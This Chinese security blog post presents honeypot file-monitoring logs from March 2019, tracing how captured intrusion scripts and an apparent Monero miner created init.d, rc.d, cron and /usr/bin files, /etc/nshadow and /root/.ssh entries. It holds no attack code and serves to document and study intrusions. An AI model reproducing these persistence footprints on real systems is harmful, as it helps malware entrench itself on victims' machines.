蜜罐捕捉的日志脚本整理 – 作者:陌度-安全小百科

捕捉到的东西

https://github.com/yingshang/Legacy-of-intrusion.git

2019-3-19号

黑客上传了几个脚本，里面有一个不断生成和并不断执行，直接你的硬盘和内存爆破，我的蜜罐直接被卡死

Line 13703: INFO:root:CREATE event : /dev/shm/BIdsqkKc  2019-03-19 11:33:33.934697
	Line 13862: INFO:root:CREATE event : /dev/shm/BIdsqkKc  2019-03-19 11:33:41.071763
	Line 14425: INFO:root:CREATE event : /dev/shm/B00M  2019-03-19 11:34:07.028623
	Line 14569: INFO:root:CREATE event : /dev/shm/TfkajmkIH  2019-03-19 11:34:13.624843
	Line 14709: INFO:root:CREATE event : /dev/shm/TfkajmkIH  2019-03-19 11:34:20.874330
	Line 15226: INFO:root:CREATE event : /dev/shm/B00M  2019-03-19 11:34:44.845148
	Line 15710: INFO:root:CREATE event : /root/mi3307  2019-03-19 11:47:38.111477
	Line 15918: INFO:root:CREATE event : /lib/libudev.so  2019-03-19 11:47:38.640116
	Line 16228: INFO:root:CREATE event : /usr/bin/mljdjbqxuq  2019-03-19 11:47:39.317262
	Line 16561: INFO:root:CREATE event : /etc/init.d/mljdjbqxuq  2019-03-19 11:47:39.754944
	Line 16575: INFO:root:CREATE event : /etc/cron.hourly/gcc.sh  2019-03-19 11:47:39.757342
	Line 16588: INFO:root:CREATE event : /etc/rc1.d/S90mljdjbqxuq  2019-03-19 11:47:39.760102
	Line 16591: INFO:root:CREATE event : /etc/rc2.d/S90mljdjbqxuq  2019-03-19 11:47:39.760918
	Line 16593: INFO:root:CREATE event : /etc/rc3.d/S90mljdjbqxuq  2019-03-19 11:47:39.761409
	Line 16595: INFO:root:CREATE event : /etc/rc4.d/S90mljdjbqxuq  2019-03-19 11:47:39.761975
	Line 16607: INFO:root:CREATE event : /etc/rc5.d/S90mljdjbqxuq  2019-03-19 11:47:39.763688
	Line 16703: INFO:root:CREATE event : /etc/sedTeXeUr  2019-03-19 11:47:39.786380
	Line 16713: INFO:root:CREATE event : /usr/bin/itwgznmnoq  2019-03-19 11:47:39.790291
	Line 17029: INFO:root:CREATE event : /run/gcc.pid  2019-03-19 11:47:39.880049
	Line 17699: INFO:root:CREATE event : /usr/bin/hdgxvqdrsm  2019-03-19 11:47:43.803555
	Line 18623: INFO:root:CREATE event : /usr/bin/tfyczjenzc  2019-03-19 11:47:48.795079
	Line 19734: INFO:root:CREATE event : /usr/bin/tcbajoqxih  2019-03-19 11:47:53.814405
	Line 20911: INFO:root:CREATE event : /usr/bin/qwqtwyndll  2019-03-19 11:47:58.862042
	Line 21996: INFO:root:CREATE event : /usr/bin/wlrxmjobio  2019-03-19 11:48:03.851830
	Line 23074: INFO:root:CREATE event : /usr/bin/rghrsafgrk  2019-03-19 11:48:08.877788
	Line 24066: INFO:root:CREATE event : /usr/bin/zgozhbbcyy  2019-03-19 11:48:13.910422
	Line 25160: INFO:root:CREATE event : /usr/bin/wvrtivxvlm  2019-03-19 11:48:18.932093
	Line 26254: INFO:root:CREATE event : /usr/bin/tepjqlylch  2019-03-19 11:48:23.973665
	Line 27355: INFO:root:CREATE event : /usr/bin/dpcuygdzwd  2019-03-19 11:48:29.063822
	Line 28441: INFO:root:CREATE event : /usr/bin/efuaffgsgs  2019-03-19 11:48:34.089048
	Line 29538: INFO:root:CREATE event : /usr/bin/gsfulgfjzd  2019-03-19 11:48:39.112690
	Line 30656: INFO:root:CREATE event : /usr/bin/tjminyopuf  2019-03-19 11:48:44.134765
	Line 31741: INFO:root:CREATE event : /usr/bin/qjyogmvqxv  2019-03-19 11:48:49.154488
	Line 32854: INFO:root:CREATE event : /usr/bin/avjvmbemyu  2019-03-19 11:48:54.203118
	Line 33878: INFO:root:CREATE event : /usr/bin/ibuidgnelw  2019-03-19 11:48:59.229367
	Line 34992: INFO:root:CREATE event : /usr/bin/iksgdzxmrr  2019-03-19 11:49:04.248427
	Line 36078: INFO:root:CREATE event : /usr/bin/dqhhhcfdrs  2019-03-19 11:49:09.282517
	Line 37195: INFO:root:CREATE event : /usr/bin/liryxanysl  2019-03-19 11:49:14.320403
	Line 38311: INFO:root:CREATE event : /usr/bin/ikvrwrtbar  2019-03-19 11:49:19.386290
	Line 39421: INFO:root:CREATE event : /usr/bin/wgbhpgkhva  2019-03-19 11:49:24.415379
	Line 40532: INFO:root:CREATE event : /usr/bin/ilwcdmjaxx  2019-03-19 11:49:29.484670
	Line 41613: INFO:root:CREATE event : /usr/bin/jzahqxwfix  2019-03-19 11:49:34.510543
	Line 42714: INFO:root:CREATE event : /usr/bin/hkjidwudsj  2019-03-19 11:49:39.584346
	Line 43802: INFO:root:CREATE event : /usr/bin/ettnlpziav  2019-03-19 11:49:44.645891
	Line 44898: INFO:root:CREATE event : /usr/bin/xzjrzdjjso  2019-03-19 11:49:49.646176
	Line 45996: INFO:root:CREATE event : /usr/bin/mrhxtxvoge  2019-03-19 11:49:54.707326
	Line 47069: INFO:root:CREATE event : /usr/bin/djohznghsk  2019-03-19 11:49:59.798660
	Line 48193: INFO:root:CREATE event : /usr/bin/caqliaehly  2019-03-19 11:50:04.833356
	Line 49296: INFO:root:CREATE event : /usr/bin/vrkxxcxzuj  2019-03-19 11:50:09.852183
	Line 50376: INFO:root:CREATE event : /usr/bin/joqhtqzygl  2019-03-19 11:50:14.892930
	Line 51465: INFO:root:CREATE event : /usr/bin/mvrmlzpfkr  2019-03-19 11:50:19.921282
	Line 52584: INFO:root:CREATE event : /usr/bin/xecszwdprk  2019-03-19 11:50:24.963665
	Line 53680: INFO:root:CREATE event : /usr/bin/eaenxzzblz  2019-03-19 11:50:29.990015
	Line 54500: INFO:root:CREATE event : /usr/bin/uuxflgtgay  2019-03-19 11:50:35.016746
	Line 55613: INFO:root:CREATE event : /usr/bin/sowaxanykz  2019-03-19 11:50:40.045852
	Line 56700: INFO:root:CREATE event : /usr/bin/rngverfygu  2019-03-19 11:50:45.069087
	Line 57797: INFO:root:CREATE event : /usr/bin/kelvnqcwgr  2019-03-19 11:50:50.112345
	Line 58917: INFO:root:CREATE event : /usr/bin/pjkfnqrxjl  2019-03-19 11:50:55.136699
	Line 60016: INFO:root:CREATE event : /usr/bin/wqzbdjdqfn  2019-03-19 11:51:00.188586
	Line 61128: INFO:root:CREATE event : /usr/bin/hpkdvojjxw  2019-03-19 11:51:05.210515
	Line 62249: INFO:root:CREATE event : /usr/bin/rhtoxzhlms  2019-03-19 11:51:10.234045
	Line 63354: INFO:root:CREATE event : /usr/bin/oqvwdfxeaw  2019-03-19 11:51:15.274103
	Line 64491: INFO:root:CREATE event : /usr/bin/cclojjaive  2019-03-19 11:51:20.317813
	Line 65593: INFO:root:CREATE event : /usr/bin/vqqpaelesh  2019-03-19 11:51:25.350728
	Line 66687: INFO:root:CREATE event : /usr/bin/rigapuhpdn  2019-03-19 11:51:30.383180
	Line 67822: INFO:root:CREATE event : /usr/bin/voqjewxuqu  2019-03-19 11:51:35.447531
	Line 68886: INFO:root:CREATE event : /usr/bin/ztxkldmywg  2019-03-19 11:51:40.447447
	Line 69968: INFO:root:CREATE event : /usr/bin/zgkwshpmss  2019-03-19 11:51:45.582693
	Line 71079: INFO:root:CREATE event : /usr/bin/upcultngri  2019-03-19 11:51:50.608717
	Line 72158: INFO:root:CREATE event : /usr/bin/rojksksovb  2019-03-19 11:51:55.640087
	Line 73243: INFO:root:CREATE event : /usr/bin/lalzylwttz  2019-03-19 11:52:00.664435
	Line 74343: INFO:root:CREATE event : /usr/bin/pvoljuuvng  2019-03-19 11:52:05.703119
	Line 75451: INFO:root:CREATE event : /usr/bin/juwtljomtq  2019-03-19 11:52:10.771522
	Line 76571: INFO:root:CREATE event : /usr/bin/ejqcwhvylv  2019-03-19 11:52:15.904960
	Line 77682: INFO:root:CREATE event : /usr/bin/dwarotcwei  2019-03-19 11:52:20.946080
	Line 78784: INFO:root:CREATE event : /usr/bin/nwlhaspckz  2019-03-19 11:52:25.985090
	Line 79894: INFO:root:CREATE event : /usr/bin/zomshobpvz  2019-03-19 11:52:31.100967
	Line 80984: INFO:root:CREATE event : /usr/bin/cdjucqrwsr  2019-03-19 11:52:36.243796
	Line 82076: INFO:root:CREATE event : /usr/bin/pnjlomfubx  2019-03-19 11:52:41.262007
	Line 83157: INFO:root:CREATE event : /usr/bin/kmcmzgokzm  2019-03-19 11:52:46.301496
	Line 84255: INFO:root:CREATE event : /usr/bin/zghzlgmsyj  2019-03-19 11:52:51.323833
	Line 85379: INFO:root:CREATE event : /usr/bin/tjsnhqgoog  2019-03-19 11:52:56.381780
	Line 86438: INFO:root:CREATE event : /usr/bin/lbodntcnpi  2019-03-19 11:53:01.384079
	Line 87523: INFO:root:CREATE event : /usr/bin/sclkrpxyrl  2019-03-19 11:53:06.397228
	Line 88718: INFO:root:CREATE event : /usr/bin/qimqfzkzxz  2019-03-19 11:53:11.483370
	Line 89801: INFO:root:CREATE event : /usr/bin/yhpjlrzndo  2019-03-19 11:53:16.493737
	Line 90892: INFO:root:CREATE event : /usr/bin/ztmfopzspc  2019-03-19 11:53:21.625367
	Line 91991: INFO:root:CREATE event : /usr/bin/jaxashciyq  2019-03-19 11:53:26.649283
	Line 93080: INFO:root:CREATE event : /usr/bin/jbwynyusjm  2019-03-19 11:53:31.667976
	Line 94141: INFO:root:CREATE event : /usr/bin/hwsqtsempg  2019-03-19 11:53:36.780939
	Line 95238: INFO:root:CREATE event : /usr/bin/welovbhjft  2019-03-19 11:53:41.863879
	Line 96150: INFO:root:CREATE event : /usr/bin/wlzubzaieu  2019-03-19 11:53:46.885064
	Line 97258: INFO:root:CREATE event : /usr/bin/tlnktrgouv  2019-03-19 11:53:51.934835
	Line 98322: INFO:root:CREATE event : /usr/bin/niozmehmuy  2019-03-19 11:53:56.993401
	Line 99320: INFO:root:CREATE event : /usr/bin/yyxuxablqc  2019-03-19 11:54:02.223188
	Line 100385: INFO:root:CREATE event : /usr/bin/xioswewick  2019-03-19 11:54:07.243593
	Line 101468: INFO:root:CREATE event : /usr/bin/kdhrthmfyv  2019-03-19 11:54:12.264061
	Line 102492: INFO:root:CREATE event : /usr/bin/mgnuwfmtbn  2019-03-19 11:54:17.279359
	Line 103486: INFO:root:CREATE event : /usr/bin/yldlboumsy  2019-03-19 11:54:22.297750
	Line 104678: INFO:root:CREATE event : /usr/bin/ywetrirkxi  2019-03-19 11:54:27.316287
	Line 105804: INFO:root:CREATE event : /usr/bin/jepqzfnftn  2019-03-19 11:54:32.333110
	Line 106890: INFO:root:CREATE event : /usr/bin/imqafwkjdw  2019-03-19 11:54:37.355253
	Line 108015: INFO:root:CREATE event : /usr/bin/qvygfqisbs  2019-03-19 11:54:42.370762
	Line 109151: INFO:root:CREATE event : /usr/bin/upvljogxuc  2019-03-19 11:54:47.392550
	Line 110244: INFO:root:CREATE event : /usr/bin/ydxqyonnnp  2019-03-19 11:54:52.409708
	Line 111367: INFO:root:CREATE event : /usr/bin/hgziqmhpst  2019-03-19 11:54:57.433024
	Line 112485: INFO:root:CREATE event : /usr/bin/qbdblchcdr  2019-03-19 11:55:02.453102
	Line 113608: INFO:root:CREATE event : /usr/bin/sywscbdtxw  2019-03-19 11:55:07.471159
	Line 114658: INFO:root:CREATE event : /usr/bin/hnykoobvyi  2019-03-19 11:55:12.489864
	Line 115778: INFO:root:CREATE event : /usr/bin/ntbewdfawr  2019-03-19 11:55:17.507733
	Line 116901: INFO:root:CREATE event : /usr/bin/cjiptqfzyn  2019-03-19 11:55:22.523887
	Line 118005: INFO:root:CREATE event : /usr/bin/kmkxseewmj  2019-03-19 11:55:27.544122
	Line 119119: INFO:root:CREATE event : /usr/bin/udvkhawyzw  2019-03-19 11:55:32.564481
	Line 120225: INFO:root:CREATE event : /usr/bin/iallspknhm  2019-03-19 11:55:37.584333
	Line 121445: INFO:root:CREATE event : /usr/bin/jinxrssxzc  2019-03-19 11:55:42.602588
	Line 122570: INFO:root:CREATE event : /usr/bin/refospazwn  2019-03-19 11:55:47.624460
	Line 123661: INFO:root:CREATE event : /usr/bin/ocnwsicxys  2019-03-19 11:55:52.640890
	Line 124893: INFO:root:CREATE event : /usr/bin/nhmsuqhjdp  2019-03-19 11:55:57.659310
	Line 125984: INFO:root:CREATE event : /usr/bin/gzaywdyqhr  2019-03-19 11:56:02.677282
	Line 127093: INFO:root:CREATE event : /usr/bin/izgnqjwzbe  2019-03-19 11:56:07.696340
	Line 128215: INFO:root:CREATE event : /usr/bin/yipnblnksp  2019-03-19 11:56:12.716089
	Line 129335: INFO:root:CREATE event : /usr/bin/fowgrzbpoo  2019-03-19 11:56:17.737022
	Line 130466: INFO:root:CREATE event : /usr/bin/hbwrucsaye  2019-03-19 11:56:22.755358
	Line 131555: INFO:root:CREATE event : /usr/bin/echktugnfh  2019-03-19 11:56:27.772768
	Line 132601: INFO:root:CREATE event : /usr/bin/rqhxnpgivg  2019-03-19 11:56:32.791967
	Line 133712: INFO:root:CREATE event : /usr/bin/ukxikaonip  2019-03-19 11:56:37.811970
	Line 134820: INFO:root:CREATE event : /usr/bin/axjjvapppz  2019-03-19 11:56:42.832591
	Line 135932: INFO:root:CREATE event : /usr/bin/mjcjwqedqv  2019-03-19 11:56:47.853416
	Line 137041: INFO:root:CREATE event : /usr/bin/fephwodrjv  2019-03-19 11:56:52.874117
	Line 138012: INFO:root:CREATE event : /usr/bin/tzlzjmxlfi  2019-03-19 11:56:57.893816
	Line 139117: INFO:root:CREATE event : /usr/bin/bzqptzkwfv  2019-03-19 11:57:02.910851
	Line 140205: INFO:root:CREATE event : /usr/bin/kplhzzybnr  2019-03-19 11:57:07.932082
	Line 141302: INFO:root:CREATE event : /usr/bin/dmuworqhap  2019-03-19 11:57:12.948061
	Line 142406: INFO:root:CREATE event : /usr/bin/wmazvhgoyq  2019-03-19 11:57:17.971944
	Line 143463: INFO:root:CREATE event : /usr/bin/zlvobfyvuo  2019-03-19 11:57:22.993139
	Line 144571: INFO:root:CREATE event : /usr/bin/xteuvtqgou  2019-03-19 11:57:28.009971
	Line 145678: INFO:root:CREATE event : /usr/bin/kigyaggzht  2019-03-19 11:57:33.032718
	Line 146787: INFO:root:CREATE event : /usr/bin/raeykerfvg  2019-03-19 11:57:38.051081
	Line 147888: INFO:root:CREATE event : /usr/bin/darjqjewfh  2019-03-19 11:57:43.074353
	Line 148972: INFO:root:CREATE event : /usr/bin/wxbnxxydvo  2019-03-19 11:57:48.096870
	Line 150079: INFO:root:CREATE event : /usr/bin/obcqcdsxuc  2019-03-19 11:57:53.137767
	Line 151192: INFO:root:CREATE event : /usr/bin/jveuwxenps  2019-03-19 11:57:58.132597
	Line 152050: INFO:root:CREATE event : /usr/bin/ettyutiier  2019-03-19 11:58:03.151999
	Line 153163: INFO:root:CREATE event : /usr/bin/tjjjjwicxu  2019-03-19 11:58:08.169554
	Line 154358: INFO:root:CREATE event : /usr/bin/hsehzxokyd  2019-03-19 11:58:13.187791
	Line 155218: INFO:root:CREATE event : /usr/bin/foctkvooxa  2019-03-19 11:58:18.237427
	Line 156336: INFO:root:CREATE event : /usr/bin/hmlwlqheph  2019-03-19 11:58:25.144106
	Line 157509: INFO:root:CREATE event : /usr/bin/wdxsweahga  2019-03-19 11:58:30.159639
	Line 158607: INFO:root:CREATE event : /usr/bin/zbzewvinhq  2019-03-19 11:58:35.197122
	Line 159541: INFO:root:CREATE event : /usr/bin/sagkohkajx  2019-03-19 11:58:40.247561
	Line 160672: INFO:root:CREATE event : /usr/bin/xjcsynmmvq  2019-03-19 11:58:45.239934
	Line 161875: INFO:root:CREATE event : /usr/bin/rcejcgrblq  2019-03-19 11:58:50.279780
	Line 162919: INFO:root:CREATE event : /usr/bin/rfdtscspik  2019-03-19 11:58:55.280718
	Line 163971: INFO:root:CREATE event : /usr/bin/aatumvjxpc  2019-03-19 11:59:00.299457
	Line 164953: INFO:root:CREATE event : /usr/bin/zxuqmzloir  2019-03-19 11:59:05.324995
	Line 166056: INFO:root:CREATE event : /usr/bin/nqgikjvtqg  2019-03-19 11:59:10.367343
	Line 167158: INFO:root:CREATE event : /usr/bin/fjptqhsgim  2019-03-19 11:59:15.357824
	Line 168290: INFO:root:CREATE event : /usr/bin/cqplewqfvz  2019-03-19 11:59:20.378778
	Line 169371: INFO:root:CREATE event : /usr/bin/wcrbyehplz  2019-03-19 11:59:25.395906
	Line 170487: INFO:root:CREATE event : /usr/bin/ajysxqmxuz  2019-03-19 11:59:30.415865
	Line 171510: INFO:root:CREATE event : /usr/bin/jwkeummbzr  2019-03-19 11:59:35.431802
	Line 172606: INFO:root:CREATE event : /usr/bin/nutapebskg  2019-03-19 11:59:40.455338
	Line 173785: INFO:root:CREATE event : /usr/bin/ysgktqqvty  2019-03-19 11:59:45.472435
	Line 174915: INFO:root:CREATE event : /usr/bin/kxerendyzp  2019-03-19 11:59:50.491086

2019-3-21号

门罗币挖矿

root@localhost:/record# cat monitor.log | grep CREATE
INFO:root:CREATE event : /dev/pts/0  2019-03-20 02:08:54.558236
INFO:root:CREATE event : /usr/operation  2019-03-20 02:09:11.379264
INFO:root:CREATE event : /dev/pts/0  2019-03-20 04:09:38.896324
INFO:root:CREATE event : /root/.bash_history  2019-03-20 04:10:02.758810
INFO:root:CREATE event : /bin/ets9b876j46x1a589wmo4htdu7  2019-03-20 15:13:13.196724
INFO:root:CREATE event : /bin/dhpcd  2019-03-20 15:13:21.085534
INFO:root:CREATE event : /etc/nshadow  2019-03-20 15:13:53.019796
INFO:root:CREATE event : /root/.ssh  2019-03-20 15:14:13.246905
INFO:root:CREATE event : /dev/shm/ets9b876j46x1a589wmo4htdu7  2019-03-20 15:14:18.103935
INFO:root:CREATE event : /tmp/ets9b876j46x1a589wmo4htdu7  2019-03-20 15:14:28.352342
INFO:root:CREATE event : /tmp/knrm  2019-03-20 15:14:33.395370
INFO:root:CREATE event : /tmp/r  2019-03-20 15:14:37.392344
INFO:root:CREATE event : /tmp/tmp.efsTWF68ua  2019-03-20 15:14:40.254357
INFO:root:CREATE event : /etc/sedRnzDvp  2019-03-20 15:14:40.262898
INFO:root:CREATE event : /var/spool/cron/crontabs/tmp.wkldnB  2019-03-20 15:14:40.526935
INFO:root:CREATE event : /tmp/tmp.O5mRAvm7ST  2019-03-20 15:14:48.853449
INFO:root:CREATE event : /etc/sed1evIks  2019-03-20 15:14:48.857253
INFO:root:CREATE event : /var/spool/cron/crontabs/tmp.5gdVYA  2019-03-20 15:14:49.207956
INFO:root:CREATE event : /bin/dhpcd  2019-03-20 15:14:53.271247
root@localhost:/record# cat monitor.log | grep MODI
INFO:root:MODIFY event : /run/utmp  2019-03-20 02:09:11.359695
INFO:root:MODIFY event : /dev/null  2019-03-20 02:09:11.395338
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 02:09:11.406661
INFO:root:MODIFY event : /run/utmp  2019-03-20 02:09:11.495534
INFO:root:MODIFY event : /sys/fs/cgroup/hugetlb/cgroup.procs  2019-03-20 04:09:38.821148
INFO:root:MODIFY event : /sys/fs/cgroup/hugetlb/cgroup.procs  2019-03-20 04:09:38.822800
INFO:root:MODIFY event : /sys/fs/cgroup/systemd/cgroup.procs  2019-03-20 04:09:38.844848
INFO:root:MODIFY event : /sys/fs/cgroup/systemd/cgroup.procs  2019-03-20 04:09:38.854813
INFO:root:MODIFY event : /sys/fs/cgroup/net_cls,net_prio/cgroup.procs  2019-03-20 04:09:38.855580
INFO:root:MODIFY event : /sys/fs/cgroup/net_cls,net_prio/cgroup.procs  2019-03-20 04:09:38.856195
INFO:root:MODIFY event : /sys/fs/cgroup/net_cls,net_prio/cgroup.procs  2019-03-20 04:09:38.856689
INFO:root:MODIFY event : /sys/fs/cgroup/net_cls,net_prio/cgroup.procs  2019-03-20 04:09:38.859445
INFO:root:MODIFY event : /sys/fs/cgroup/pids/cgroup.procs  2019-03-20 04:09:38.860014
INFO:root:MODIFY event : /sys/fs/cgroup/pids/cgroup.procs  2019-03-20 04:09:38.860579
INFO:root:MODIFY event : /sys/fs/cgroup/cpu,cpuacct/cgroup.procs  2019-03-20 04:09:38.861078
INFO:root:MODIFY event : /sys/fs/cgroup/cpu,cpuacct/cgroup.procs  2019-03-20 04:09:38.861639
INFO:root:MODIFY event : /sys/fs/cgroup/freezer/cgroup.procs  2019-03-20 04:09:38.862137
INFO:root:MODIFY event : /sys/fs/cgroup/freezer/cgroup.procs  2019-03-20 04:09:38.867408
INFO:root:MODIFY event : /sys/fs/cgroup/cpuset/cgroup.procs  2019-03-20 04:09:38.868089
INFO:root:MODIFY event : /sys/fs/cgroup/cpuset/cgroup.procs  2019-03-20 04:09:38.868791
INFO:root:MODIFY event : /sys/fs/cgroup/devices/cgroup.procs  2019-03-20 04:09:38.869305
INFO:root:MODIFY event : /sys/fs/cgroup/devices/cgroup.procs  2019-03-20 04:09:38.869973
INFO:root:MODIFY event : /sys/fs/cgroup/memory/cgroup.procs  2019-03-20 04:09:38.870519
INFO:root:MODIFY event : /sys/fs/cgroup/memory/cgroup.procs  2019-03-20 04:09:38.875420
INFO:root:MODIFY event : /sys/fs/cgroup/perf_event/cgroup.procs  2019-03-20 04:09:38.875940
INFO:root:MODIFY event : /sys/fs/cgroup/perf_event/cgroup.procs  2019-03-20 04:09:38.876589
INFO:root:MODIFY event : /sys/fs/cgroup/blkio/cgroup.procs  2019-03-20 04:09:38.877095
INFO:root:MODIFY event : /sys/fs/cgroup/blkio/cgroup.procs  2019-03-20 04:09:38.877714
INFO:root:MODIFY event : /sys/fs/cgroup/cpu,cpuacct/cgroup.procs  2019-03-20 04:09:38.878251
INFO:root:MODIFY event : /sys/fs/cgroup/cpu,cpuacct/cgroup.procs  2019-03-20 04:09:38.878898
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:39.164499
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:40.176459
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:40.313840
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:40.414496
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:40.541559
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:41.018949
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:41.167878
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:41.480871
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:42.132803
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:42.371361
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:42.558634
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:42.773391
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:43.287925
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:43.377093
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:43.590337
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:43.840286
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:43.927635
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:44.055641
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:45.080589
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:45.256384
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:45.456842
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:46.861468
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:47.374563
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:47.538828
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:47.651745
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:47.721959
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:48.868994
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:49.019794
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:49.081561
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:49.094732
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:51.515933
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:51.640233
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:51.688437
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:51.689514
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:53.395020
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:53.596157
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:53.823423
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.049726
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.210870
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.412377
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.512597
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.662840
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.686100
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.686901
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:54.687545
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.027683
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.152111
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.252011
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.390181
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.566355
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.640919
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:09:59.917892
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:10:00.105004
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:10:01.348837
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:10:01.673340
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:10:01.861180
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:10:02.062987
INFO:root:MODIFY event : /dev/pts/0  2019-03-20 04:10:02.740363
INFO:root:MODIFY event : /root/.bash_history  2019-03-20 04:10:02.763356
INFO:root:MODIFY event : /bin/ets9b876j46x1a589wmo4htdu7  2019-03-20 15:13:13.695989
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:22.908247
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:24.316824
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:25.196549
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:26.028442
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:26.906511
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:27.775044
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:28.648578
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:29.552310
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:30.428356
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:31.283118
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:32.187718
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:33.258305
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:34.241886
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:35.284409
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:36.296268
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:37.413299
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:38.281973
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:39.200778
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:40.981730
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:42.768890
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:42.769996
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:13:43.825358
INFO:root:MODIFY event : /etc/nshadow  2019-03-20 15:13:53.022030
INFO:root:MODIFY event : /dev/shm/ets9b876j46x1a589wmo4htdu7  2019-03-20 15:14:18.455523
INFO:root:MODIFY event : /tmp/ets9b876j46x1a589wmo4htdu7  2019-03-20 15:14:28.775480
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:34.118183
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:34.253943
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:34.462640
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:34.676316
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:34.835138
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:35.051863
INFO:root:MODIFY event : /tmp/knrm  2019-03-20 15:14:35.177190
INFO:root:MODIFY event : /tmp/r  2019-03-20 15:14:37.928084
INFO:root:MODIFY event : /etc/sedRnzDvp  2019-03-20 15:14:40.270026
INFO:root:MODIFY event : /var/spool/cron/crontabs/tmp.wkldnB  2019-03-20 15:14:40.528250
INFO:root:MODIFY event : /dev/null  2019-03-20 15:14:43.419044
INFO:root:MODIFY event : /etc/sed1evIks  2019-03-20 15:14:48.857973
INFO:root:MODIFY event : /var/spool/cron/crontabs/tmp.5gdVYA  2019-03-20 15:14:49.217717
INFO:root:MODIFY event : /dev/null  2019-03-20 15:14:50.245119
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:53.816718
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:53.972817
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:54.138558
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:54.303399
INFO:root:MODIFY event : /bin/dhpcd  2019-03-20 15:14:54.457962
